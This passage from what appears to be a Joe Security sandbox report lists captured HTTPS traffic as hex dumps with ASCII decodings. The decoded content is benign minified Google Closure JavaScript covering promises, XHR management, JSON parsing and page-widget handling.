65 74 75 72 6e 20 6e 65 77 20 52 67 28 63 2c 61 2c 62 29 7d 4c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 65 6e 3d 66 75 
6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 53 67 28 74 68 69 73 2c 74 79 70 65 6f 66 20 61 3d 3d 3d 
6d 3f 61 3a 6e 75 6c 6c 2c 74 79 70 65 6f 66 20 62 3d 3d 3d 6d 3f 62 3a 6e 75 6c 6c 2c 63 29 7d 3b 4c 67 2e 70 72 6f 74 
6f 74 79 70 65 2e 24 67 6f 6f 67 5f 54 68 65 6e 61 62 6c 65 3d 21 30 3b 4c 67 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 6e 
63 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 30 3d 3d 74 68 69 73 2e 43 29 7b 76 61 72 20 62 3d 6e 65 77 
20 54 67 28 61 29 3b 44 67 28 66 75 6e 63 74 69 6f 6e 28 29 
Data Ascii: b,c=new Lg(function(d,e){a=d;b=e});return new Rg(c,a,b)}Lg.prototype.then=function(a,b,c){return Sg(this,typeof 
a===m?a:null,typeof b===m?b:null,c)};Lg.prototype.$goog_Thenable=!0;Lg.prototype.cancel=function(a){if(0==this.C){var 
b=new Tg(a);Dg(function()

2021-11-25 17:33:42 UTC 203 IN Data Raw: 4e 3d 63 2c 61 2e 43 3d 62 2c 61 2e 46 3d 6e 75 6c 6c 2c 59 67 28 61 29 2c 33 21 3d 62 7c 7c 63 20 69 6e 73 
74 61 6e 63 65 6f 66 20 54 67 7c 7c 24 67 28 61 2c 63 29 29 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 5a 67 28 61 2c 62 2c 63 
2c 64 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 66 28 6b 29 7b 68 7c 7c 28 68 3d 21 30 2c 64 2e 63 61 6c 6c 28 65 2c 6b 29 
29 7d 66 75 6e 63 74 69 6f 6e 20 67 28 6b 29 7b 68 7c 7c 28 68 3d 21 30 2c 63 2e 63 61 6c 6c 28 65 2c 6b 29 29 7d 76 
61 72 20 68 3d 21 31 3b 74 72 79 7b 62 2e 63 61 6c 6c 28 61 2c 67 2c 66 29 7d 63 61 74 63 68 28 6b 29 7b 66 28 6b 29 
7d 7d 66 75 6e 63 74 69 6f 6e 20 59 67 28 61 29 7b 61 2e 4b 7c 7c 28 61 2e 4b 3d 21 30 2c 44 67 28 61 2e 4c 2c 61 29 2
9 7d 66 75 6e 63 74 69 6f 6e 20 56 67 28 61 29 7b 76 61 72 20 62 
Data Ascii: N=c,a.C=b,a.F=null,Yg(a),3!=b||c instanceof Tg||$g(a,c))}}function Zg(a,b,c,d,e){function f(k){h||(h=!0,d.ca
ll(e,k))}function g(k){h||(h=!0,c.call(e,k))}var h=!1;try{b.call(a,g,f)}catch(k){f(k)}}function Yg(a){a.K||(a.K=!0,Dg(a.L,a))}func
tion Vg(a){var b
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2021-11-25 17:33:42 UTC 205 IN Data Raw: 73 74 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 48 61 3d 21 30 3b 74 68 69 73 2e 6b 61 7c 
7c 28 74 68 69 73 2e 6b 61 3d 74 68 69 73 2e 43 2e 73 65 74 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 46 2c 74 68 69 73 
2e 44 29 2c 74 68 69 73 2e 47 3d 44 61 74 65 2e 6e 6f 77 28 29 29 7d 3b 74 2e 73 74 6f 70 3d 66 75 6e 63 74 69 6f 6e 28 
29 7b 74 68 69 73 2e 48 61 3d 21 31 3b 74 68 69 73 2e 6b 61 26 26 28 74 68 69 73 2e 43 2e 63 6c 65 61 72 54 69 6d 65 
6f 75 74 28 74 68 69 73 2e 6b 61 29 2c 74 68 69 73 2e 6b 61 3d 6e 75 6c 6c 29 7d 3b 74 2e 57 3d 66 75 6e 63 74 69 6f 6e 
28 29 7b 63 68 2e 4f 2e 57 2e 63 61 6c 6c 28 74 68 69 73 29 3b 74 68 69 73 2e 73 74 6f 70 28 29 3b 64 65 6c 65 74 65 20 
74 68 69 73 2e 43 7d 3b 66 75 6e 63 74 69 6f 6e 20 64 68 28 61 
Data Ascii: start=function(){this.Ha=!0;this.ka||(this.ka=this.C.setTimeout(this.F,this.D),this.G=Date.now())};t.stop=function()
{this.Ha=!1;this.ka&&(this.C.clearTimeout(this.ka),this.ka=null)};t.W=function(){ch.O.W.call(this);this.stop();delete this
.C};function dh(a

2021-11-25 17:33:42 UTC 206 IN Data Raw: 73 74 28 61 2e 72 65 70 6c 61 63 65 28 2f 5c 5c 5b 22 5c 5c 5c 2f 62 66 6e 72 74 75 5d 2f 67 2c 22 40 22 29 
2e 72 65 70 6c 61 63 65 28 2f 28 3f 3a 22 5b 5e 22 5c 5c 5c 6e 5c 72 5c 75 32 30 32 38 5c 75 32 30 32 39 5c 78 30 30 2d 
5c 78 30 38 5c 78 30 61 2d 5c 78 31 66 5d 2a 22 7c 74 72 75 65 7c 66 61 6c 73 65 7c 6e 75 6c 6c 7c 2d 3f 5c 64 2b 28 3f 
3a 5c 2e 5c 64 2a 29 3f 28 3f 3a 5b 65 45 5d 5b 2b 5c 2d 5d 3f 5c 64 2b 29 3f 29 5b 5c 73 5c 75 32 30 32 38 5c 75 32 30 
32 39 5d 2a 28 3f 3d 3a 7c 2c 7c 5d 7c 7d 7c 24 29 2f 67 2c 22 5d 22 29 2e 72 65 70 6c 61 63 65 28 2f 28 3f 3a 5e 7c 3a 
7c 2c 29 28 3f 3a 5b 5c 73 5c 75 32 30 32 38 5c 75 32 30 32 39 5d 2a 5c 5b 29 2b 2f 67 2c 22 22 29 29 29 74 72 79 7b 72 
65 74 75 72 6e 20 65 76 61 6c 28 22 28 22 2b 61 2b 22 29 
Data Ascii: st(a.replace(/\\["\\\/bfnrtu]/g,"@").replace(/(?:"[^"\\\n\r\u2028\u2029\x00-\x08\x0a-\x1f]*"|true|false|null|-?\d+(?:\
.\d*)?(?:[eE][+\-]?\d+)?)[\s\u2028\u2029]*(?=:|,|]|}|$)/g,"]").replace(/(?:^|:|,)(?:[\s\u2028\u2029]*\[)+/g,"")))try{return eval("
("+a+")

2021-11-25 17:33:42 UTC 207 IN Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 74 68 69 73 2e 68 65 61 64 65 72 73 3d 6e 65 77 20 4d 61 70 3b 74 68 69 73 
2e 63 61 3d 61 7c 7c 6e 75 6c 6c 3b 74 68 69 73 2e 44 3d 21 31 3b 74 68 69 73 2e 59 3d 74 68 69 73 2e 43 3d 6e 75 6c 
6c 3b 74 68 69 73 2e 45 61 3d 22 22 3b 74 68 69 73 2e 4a 3d 30 3b 74 68 69 73 2e 47 3d 74 68 69 73 2e 44 61 3d 74 68 
69 73 2e 54 3d 74 68 69 73 2e 72 61 3d 21 31 3b 74 68 69 73 2e 52 3d 30 3b 74 68 69 73 2e 58 3d 6e 75 6c 6c 3b 74 68 6
9 73 2e 4c 3d 22 22 3b 74 68 69 73 2e 67 62 3d 74 68 69 73 2e 4b 3d 21 31 7d 41 28 73 68 2c 4d 29 3b 76 61 72 20 74 
68 3d 2f 5e 68 74 74 70 73 3f 24 2f 69 2c 75 68 3d 5b 22 50 4f 53 54 22 2c 22 50 55 54 22 5d 2c 76 68 3d 5b 5d 3b 66 75 
6e 63 74 69 6f 6e 20 77 68 28 61 2c 62 2c 63 2c 64 29 7b 76 61 72 20 
Data Ascii: call(this);this.headers=new Map;this.ca=a||null;this.D=!1;this.Y=this.C=null;this.Ea="";this.J=0;this.G=this
.Da=this.T=this.ra=!1;this.R=0;this.X=null;this.L="";this.gb=this.K=!1}A(sh,M);var th=/^https?$/i,uh=["POST","PUT"],vh=[
];function wh(a,b,c,d){var 

2021-11-25 17:33:42 UTC 208 IN Data Raw: 3d 75 74 66 2d 38 22 29 3b 63 3d 46 62 28 64 29 3b 66 6f 72 28 65 3d 63 2e 6e 65 78 74 28 29 3b 21 65 2e 64 
6f 6e 65 3b 65 3d 63 2e 6e 65 78 74 28 29 29 64 3d 46 62 28 65 2e 76 61 6c 75 65 29 2c 65 3d 64 2e 6e 65 78 74 28 29 
2e 76 61 6c 75 65 2c 64 3d 64 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 2c 61 2e 43 2e 73 65 74 52 65 71 75 65 73 74 48 
65 61 64 65 72 28 65 2c 64 29 3b 61 2e 4c 26 26 28 61 2e 43 2e 72 65 73 70 6f 6e 73 65 54 79 70 65 3d 61 2e 4c 29 3b 2
2 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 20 61 2e 43 26 26 61 2e 43 2e 77 69 74 68 43 72 65 64 65 6e 
74 69 61 6c 73 21 3d 3d 0a 61 2e 4b 26 26 28 61 2e 43 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 61 2e 4b 29 
3b 74 72 79 7b 7a 68 28 61 29 2c 30 3c 61 2e 52 26 26 28 61 2e 67 62 3d 
Data Ascii: =utf-8");c=Fb(d);for(e=c.next();!e.done;e=c.next())d=Fb(e.value),e=d.next().value,d=d.next().value,a.C.setRe
questHeader(e,d);a.L&&(a.C.responseType=a.L);"withCredentials"in a.C&&a.C.withCredentials!==a.K&&(a.C.withCred
entials=a.K);try{zh(a),0<a.R&&(a.gb=

2021-11-25 17:33:42 UTC 210 IN Data Raw: 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 41 61 29 2c 61 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 62 
29 29 3a 28 61 2e 4a 3d 36 2c 42 68 28 61 29 29 7d 66 69 6e 61 6c 6c 79 7b 43 68 28 61 29 7d 7d 7d 66 75 6e 63 74 69 
6f 6e 20 43 68 28 61 2c 62 29 7b 69 66 28 61 2e 43 29 7b 7a 68 28 61 29 3b 76 61 72 20 63 3d 61 2e 43 2c 64 3d 61 2e 
59 5b 30 5d 3f 55 62 3a 6e 75 6c 6c 3b 61 2e 43 3d 6e 75 6c 6c 3b 61 2e 59 3d 6e 75 6c 6c 3b 62 7c 7c 61 2e 64 69 73 70 
61 74 63 68 45 76 65 6e 74 28 67 62 29 3b 74 72 79 7b 63 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 6
4 7d 63 61 74 63 68 28 65 29 7b 7d 7d 7d 0a 66 75 6e 63 74 69 6f 6e 20 7a 68 28 61 29 7b 61 2e 43 26 26 61 2e 67 62 26 
26 28 61 2e 43 2e 6f 6e 74 69 6d 65 6f 75 74 3d 6e 75 6c 6c 29 3b 
Data Ascii: dispatchEvent(Aa),a.dispatchEvent(nb)):(a.J=6,Bh(a))}finally{Ch(a)}}}function Ch(a,b){if(a.C){zh(a);var c=a.
C,d=a.Y[0]?Ub:null;a.C=null;a.Y=null;b||a.dispatchEvent(gb);try{c.onreadystatechange=d}catch(e){}}}function zh(a){a.C&&a
.gb&&(a.C.ontimeout=null);

2021-11-25 17:33:42 UTC 211 IN Data Raw: 69 6e 73 74 61 6e 63 65 6f 66 20 4e 68 7c 7c 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 68 7c 7c 61 20 69 6e 
73 74 61 6e 63 65 6f 66 20 50 68 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 62 62 3d 3d 6d 29 
72 65 74 75 72 6e 20 6e 65 77 20 4e 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 51 68 28 61 29 7d 29 
3b 69 66 28 74 79 70 65 6f 66 20 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 3d 6d 29 72 65 74 75 72 6e 20 
6e 65 77 20 4e 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 
6f 72 5d 28 29 7d 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 73 61 3d 3d 6d 29 72 65 74 75 72 6e 20 6e 65 77 20 4e 68 2
8 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 51 68 28 
Data Ascii: instanceof Nh||a instanceof Oh||a instanceof Ph)return a;if(typeof a.bb==m)return new Nh(function(){return Q
h(a)});if(typeof a[Symbol.iterator]==m)return new Nh(function(){return a[Symbol.iterator]()});if(typeof a.sa==m)return new 
Nh(function(){return Qh(

2021-11-25 17:33:42 UTC 212 IN Data Raw: 68 69 73 2e 43 2e 6c 65 6e 67 74 68 7d 3b 52 68 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 74 61 69 6e 73 3d 
66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 52 63 28 74 68 69 73 2e 44 2c 61 29 7c 7c 52 63 28 74 68 69 
73 2e 43 2c 61 29 7d 3b 52 68 2e 70 72 6f 74 6f 74 79 70 65 2e 24 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 
72 20 61 3d 5b 5d 2c 62 3d 74 68 69 73 2e 44 2e 6c 65 6e 67 74 68 2d 31 3b 30 3c 3d 62 3b 2d 2d 62 29 61 2e 70 75 73 
68 28 74 68 69 73 2e 44 5b 62 5d 29 3b 76 61 72 20 63 3d 74 68 69 73 2e 43 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 62 3d 3
0 3b 62 3c 63 3b 2b 2b 62 29 61 2e 70 75 73 68 28 74 68 69 73 2e 43 5b 62 5d 29 3b 72 65 74 75 72 6e 20 61 7d 3b 66 
75 6e 63 74 69 6f 6e 20 54 68 28 61 2c 62 29 7b 74 68 69 73 2e 43 3d 
Data Ascii: his.C.length};Rh.prototype.contains=function(a){return Rc(this.D,a)||Rc(this.C,a)};Rh.prototype.$=function()
{for(var a=[],b=this.D.length-1;0<=b;--b)a.push(this.D[b]);var c=this.C.length;for(b=0;b<c;++b)a.push(this.C[b]);return 
a};function Th(a,b){this.C=

2021-11-25 17:33:42 UTC 214 IN Data Raw: 63 74 69 6f 6e 28 61 2c 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 74 68 69 73 2e 6e 61 28 29 2c 64 3d 30 3b 64 
3c 63 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 63 5b 64 5d 2c 66 3d 74 68 69 73 2e 67 65 74 28 65 29 
3b 61 2e 63 61 6c 6c 28 62 2c 66 2c 65 2c 74 68 69 73 29 7d 7d 3b 74 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 29 
7b 72 65 74 75 72 6e 20 4d 68 28 74 68 69 73 2e 73 61 28 21 30 29 29 2e 44 28 29 7d 3b 74 2e 76 61 6c 75 65 73 3d 66 
75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 68 28 74 68 69 73 2e 73 61 28 21 31 29 29 2e 44 28 29 7d 3b 74 
2e 65 6e 74 72 69 65 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 49 
68 28 74 68 69 73 2e 6b 65 79 73 28 29 2c 66 75 6e 63 74 69 6f 6e 28 62 
Data Ascii: ction(a,b){for(var c=this.na(),d=0;d<c.length;d++){var e=c[d],f=this.get(e);a.call(b,f,e,this)}};t.keys=function(){ret
urn Mh(this.sa(!0)).D()};t.values=function(){return Mh(this.sa(!1)).D()};t.entries=function(){var a=this;return Ih(this.keys(),fun
ction(b

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 72 of 90



2021-11-25 17:33:42 UTC 215 IN Data Raw: 6d 29 61 2e 66 6f 72 45 61 63 68 28 62 2c 63 29 3b 65 6c 73 65 20 69 66 28 57 62 28 61 29 7c 7c 74 79 70 65 
6f 66 20 61 3d 3d 3d 72 29 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 61 2c 
62 2c 63 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 64 3d 59 68 28 61 29 2c 65 3d 58 68 28 61 29 2c 66 3d 65 2e 6c 65 
6e 67 74 68 2c 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 62 2e 63 61 6c 6c 28 63 2c 65 5b 67 5d 2c 64 26 26 64 5b 67 5d 2c 
61 29 7d 3b 66 75 6e 63 74 69 6f 6e 20 24 68 28 29 7b 74 68 69 73 2e 43 3d 6e 65 77 20 54 68 3b 74 68 69 73 2e 73 69 
7a 65 3d 30 7d 66 75 6e 63 74 69 6f 6e 20 61 69 28 61 29 7b 76 61 72 20 62 3d 74 79 70 65 6f 66 20 61 3b 72 65 74 75 7
2 6e 20 62 3d 3d 71 26 26 61 7c 7c 62 3d 3d 6d 3f 22 6f 22 2b 28 
Data Ascii: m)a.forEach(b,c);else if(Wb(a)||typeof a===r)Array.prototype.forEach.call(a,b,c);else for(var d=Yh(a),e=Xh(a
),f=e.length,g=0;g<f;g++)b.call(c,e[g],d&&d[g],a)};function $h(){this.C=new Th;this.size=0}function ai(a){var b=typeof a
;return b==q&&a||b==m?"o"+(

2021-11-25 17:33:42 UTC 216 IN Data Raw: 62 28 61 29 26 26 74 68 69 73 2e 56 28 29 3c 74 68 69 73 2e 46 3f 74 68 69 73 2e 43 2e 43 2e 70 75 73 68 28 
61 29 3a 64 69 28 61 29 7d 3b 74 2e 53 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 74 68 69 
73 2e 43 3b 74 68 69 73 2e 56 28 29 3c 74 68 69 73 2e 4c 3b 29 7b 76 61 72 20 62 3d 74 68 69 73 2e 41 62 28 29 3b 61 
2e 43 2e 70 75 73 68 28 62 29 7d 66 6f 72 28 3b 74 68 69 73 2e 56 28 29 3e 74 68 69 73 2e 46 26 26 30 3c 74 68 69 73 2
e 43 2e 56 28 29 3b 29 64 69 28 53 68 28 61 29 29 7d 3b 74 2e 41 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 
6e 7b 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 64 69 28 61 29 7b 69 66 28 74 79 70 65 6f 66 20 61 2e 76 61 3d 3d 6d 29 61 
2e 76 61 28 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 62 20 69 6e 
Data Ascii: b(a)&&this.V()<this.F?this.C.C.push(a):di(a)};t.Sa=function(){for(var a=this.C;this.V()<this.L;){var b=this.
Ab();a.C.push(b)}for(;this.V()>this.F&&0<this.C.V();)di(Sh(a))};t.Ab=function(){return{}};function di(a){if(typeof a.va=
=m)a.va();else for(var b in

2021-11-25 17:33:42 UTC 217 IN Data Raw: 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 30 3d 3d 3d 74 68 69 73 2e 43 2e 6c 65 6e 67 74 68 7d 3b 66 
75 6e 63 74 69 6f 6e 20 67 69 28 29 7b 66 69 2e 63 61 6c 6c 28 74 68 69 73 29 7d 41 28 67 69 2c 66 69 29 3b 66 75 6e 
63 74 69 6f 6e 20 68 69 28 61 2c 62 29 7b 74 68 69 73 2e 4b 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 47 3d 6e 65 77 20 67 
69 3b 63 69 2e 63 61 6c 6c 28 74 68 69 73 2c 61 2c 62 29 7d 41 28 68 69 2c 63 69 29 3b 74 3d 68 69 2e 70 72 6f 74 6f 74 
79 70 65 3b 74 2e 59 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 28 61 3d 68 
69 2e 4f 2e 59 61 2e 63 61 6c 6c 28 74 68 69 73 29 29 26 26 74 68 69 73 2e 64 65 6c 61 79 26 26 28 74 68 69 73 2e 4b 3
d 78 2e 73 65 74 54 69 6d 65 6f 75 74 28 79 28 74 68 69 73 2e 5a 
Data Ascii: nction(){return 0===this.C.length};function gi(){fi.call(this)}A(gi,fi);function hi(a,b){this.K=void 0;this.G=new gi;c
i.call(this,a,b)}A(hi,ci);t=hi.prototype;t.Ya=function(a,b){if(!a)return(a=hi.O.Ya.call(this))&&this.delay&&(this.K=x.se
tTimeout(y(this.Z

2021-11-25 17:33:42 UTC 219 IN Data Raw: 66 29 7b 69 66 28 61 2e 43 2e 67 65 74 28 62 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 5b 67 6f 6f 67 2e 
6e 65 74 2e 58 68 72 4d 61 6e 61 67 65 72 5d 20 49 44 20 69 6e 20 75 73 65 22 29 3b 63 3d 6e 65 77 20 6d 69 28 63 2c 
79 28 61 2e 52 2c 61 2c 62 29 2c 64 2c 65 2c 66 2c 61 2e 47 2c 61 2e 4b 29 3b 61 2e 43 2e 73 65 74 28 62 2c 63 29 3b 
62 3d 79 28 61 2e 4c 2c 61 2c 62 29 3b 61 2e 44 2e 59 61 28 62 2c 6e 75 6c 6c 29 7d 0a 6a 69 2e 70 72 6f 74 6f 74 79 70 
65 2e 61 62 6f 72 74 3d 66 75 6e 63 74 69 
Data Ascii: f){if(a.C.get(b))throw Error("[goog.net.XhrManager] ID in use");c=new mi(c,y(a.R,a,b),d,e,f,a.G,a.K);a.C.set
(b,c);b=y(a.L,a,b);a.D.Ya(b,null)}ji.prototype.abort=functi

2021-11-25 17:33:42 UTC 219 IN Data Raw: 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 74 68 69 73 2e 43 2e 67 65 74 28 61 29 3b 69 66 28 63 29 7b 76 61 
72 20 64 3d 63 2e 65 62 3b 63 2e 52 62 3d 21 30 3b 62 26 26 28 64 26 26 28 71 67 28 74 68 69 73 2e 46 2c 64 2c 6b 69 
2c 63 2e 49 62 29 2c 63 67 28 64 2c 67 62 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 44 3b 
62 69 28 65 2e 44 2c 64 29 26 26 65 2e 49 61 28 64 29 7d 2c 21 31 2c 74 68 69 73 29 29 2c 57 68 28 74 68 69 73 2e 43 
2c 61 29 29 3b 64 26 26 64 2e 61 62 6f 72 74 28 29 7d 7d 3b 6a 69 2e 70 72 6f 74 6f 74 79 70 65 2e 4c 3d 66 75 6e 63 74 
69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 74 68 69 73 2e 43 2e 67 65 74 28 61 29 3b 63 26 26 21 63 2e 65 62 3f 28 
70 67 28 74 68 69 73 2e 46 2c 62 2c 6b 69 2c 63 2e 49 62 29 2c 62 2e 
Data Ascii: on(a,b){var c=this.C.get(a);if(c){var d=c.eb;c.Rb=!0;b&&(d&&(qg(this.F,d,ki,c.Ib),cg(d,gb,function(){var e=t
his.D;bi(e.D,d)&&e.Ia(d)},!1,this)),Wh(this.C,a));d&&d.abort()}};ji.prototype.L=function(a,b){var c=this.C.get(a);c&&!c.eb?
(pg(this.F,b,ki,c.Ib),b.

2021-11-25 17:33:42 UTC 220 IN Data Raw: 7c 68 61 3b 74 68 69 73 2e 46 3d 64 3b 74 68 69 73 2e 42 63 3d 6e 75 6c 6c 3b 74 68 69 73 2e 6b 62 3d 76 6f 
69 64 20 30 21 3d 3d 66 3f 66 3a 31 3b 74 68 69 73 2e 54 61 3d 30 3b 74 68 69 73 2e 52 62 3d 74 68 69 73 2e 58 62 3d 
21 31 3b 74 68 69 73 2e 49 62 3d 62 3b 74 68 69 73 2e 57 62 3d 65 3b 74 68 69 73 2e 44 3d 21 21 67 3b 74 68 69 73 2e 
65 62 3d 6e 75 6c 6c 7d 6d 69 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 55 72 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 
65 74 75 72 6e 20 74 68 69 73 2e 43 7d 3b 6d 69 2e 70 72 6f 74 6f 74 79 70 65 2e 43 62 3d 66 75 6e 63 74 69 6f 6e 28 29 
7b 72 65 74 75 72 6e 20 74 68 69 73 2e 46 7d 3b 6d 69 2e 70 72 6f 74 6f 74 79 70 65 2e 66 63 3d 66 75 6e 63 74 69 6f 6e 
28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 44 7d 3b 6d 69 2e 
Data Ascii: |ha;this.F=d;this.Bc=null;this.kb=void 0!==f?f:1;this.Ta=0;this.Rb=this.Xb=!1;this.Ib=b;this.Wb=e;this.D=!!g
;this.eb=null}mi.prototype.getUrl=function(){return this.C};mi.prototype.Cb=function(){return this.F};mi.prototype.fc=fu
nction(){return this.D};mi.

2021-11-25 17:33:42 UTC 221 IN Data Raw: 7d 29 7d 3b 4f 2e 52 63 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 4f 2e 6c 63 3d 61 3b 4f 2e 6b 63 3d 62 
7d 3b 4f 2e 5a 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 4f 2e 74 63 28 29 3b 64 6f 63 75 6d 65 6e 74 2e 
62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 3b 4f 2e 54 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 4f 2e 
5a 63 28 29 3b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 3d 3d 77 69 6e 64 6f 77 29 7b 76 61 72 20 62 3d 22 50 
72 65 76 69 65 77 22 3b 61 26 26 28 62 3d 61 29 3b 61 3d 4f 2e 72 63 28 62 29 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 
2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 5b 30 5d 29 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 
68 69 6c 64 28 61 5b 31 5d 29 7d 7d 3b 4f 2e 75 63 3d 22 65 
Data Ascii: })};O.Rc=function(a,b){O.lc=a;O.kc=b};O.Zc=function(){var a=O.tc();document.body.appendChild(a)};O
.Tc=function(a){O.Zc();if(window.parent==window){var b="Preview";a&&(b=a);a=O.rc(b);document.body.appendChild(
a[0]);document.body.appendChild(a[1])}};O.uc="e

2021-11-25 17:33:42 UTC 223 IN Data Raw: 29 7b 66 75 6e 63 74 69 6f 6e 20 67 28 29 7b 6e 28 74 68 69 73 2e 43 29 26 26 77 69 6e 64 6f 77 2e 65 76 61 
6c 28 47 68 28 74 68 69 73 29 29 7d 76 61 72 20 68 3d 4f 2e 55 62 3b 61 3d 5b 22 61 63 74 69 6f 6e 3d 22 2b 65 6e 63 6f 
64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 29 2c 22 77 69 64 67 65 74 49 64 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 
6f 6d 70 6f 6e 65 6e 74 28 63 29 2c 22 77 69 64 67 65 74 54 79 70 65 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 
6e 65 6e 74 28 64 29 2c 22 72 65 73 70 6f 6e 73 65 54 79 70 65 3d 6a 73 22 5d 3b 66 6f 72 28 76 61 72 20 6b 20 69 6e 
20 62 29 69 66 28 74 79 70 65 6f 66 20 62 5b 6b 5d 3d 3d 71 29 66 6f 72 28 63 3d 62 5b 6b 5d 2c 64 3d 30 3b 64 3c 63 2e 
6c 65 6e 67 74 68 3b 2b 2b 64 29 61 2e 70 75 73 68 28 65 6e 
Data Ascii: ){function g(){n(this.C)&&window.eval(Gh(this))}var h=O.Ub;a=["action="+encodeURIComponent(a),"wid
getId="+encodeURIComponent(c),"widgetType="+encodeURIComponent(d),"responseType=js"];for(var k in b)if(typeof 
b[k]==q)for(c=b[k],d=0;d<c.length;++d)a.push(en
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2021-11-25 17:33:42 UTC 224 IN Data Raw: 77 2e 70 61 72 65 6e 74 2e 65 64 69 74 6f 72 26 26 62 3f 4f 2e 50 62 28 61 2c 62 29 3a 77 69 6e 64 6f 77 2e 
6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 7d 3b 
0a 4f 2e 50 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 4f 2e 6a 62 28 61 29 3b 63 2e 48 2e 4d 2e 
64 61 74 61 3d 62 2e 64 61 74 61 3b 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 
29 3b 7a 66 28 61 29 3b 76 69 28 61 2c 63 29 7d 3b 4f 2e 7a 63 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 6e 75 
6c 6c 21 3d 63 2e 65 72 72 6f 72 73 26 26 28 4f 2e 75 62 28 77 69 6e 64 6f 77 2c 63 2e 65 72 72 6f 72 73 29 2c 4f 2e 41 
61 28 63 2c 77 69 6e 64 6f 77 29 29 7d 3b 4f 2e 48 63 3d 66 
Data Ascii: w.parent.editor&&b?O.Pb(a,b):window.location.replace(window.location.href)};O.Pb=function(a,b){var c=O.jb(a)
;c.H.M.data=b.data;a=document.getElementById(a);zf(a);vi(a,c)};O.zc=function(a,b,c){null!=c.errors&&(O.ub(wind
ow,c.errors),O.Aa(c,window))};O.Hc=f

2021-11-25 17:33:42 UTC 225 IN Data Raw: 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 25 22 3b 49 26 26 21 5a 65 28 37 29 26 26 28 61 2e 73 74 79 6c 
65 2e 68 65 69 67 68 74 3d 22 65 78 70 72 65 73 73 69 6f 6e 28 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 63 6c 69 
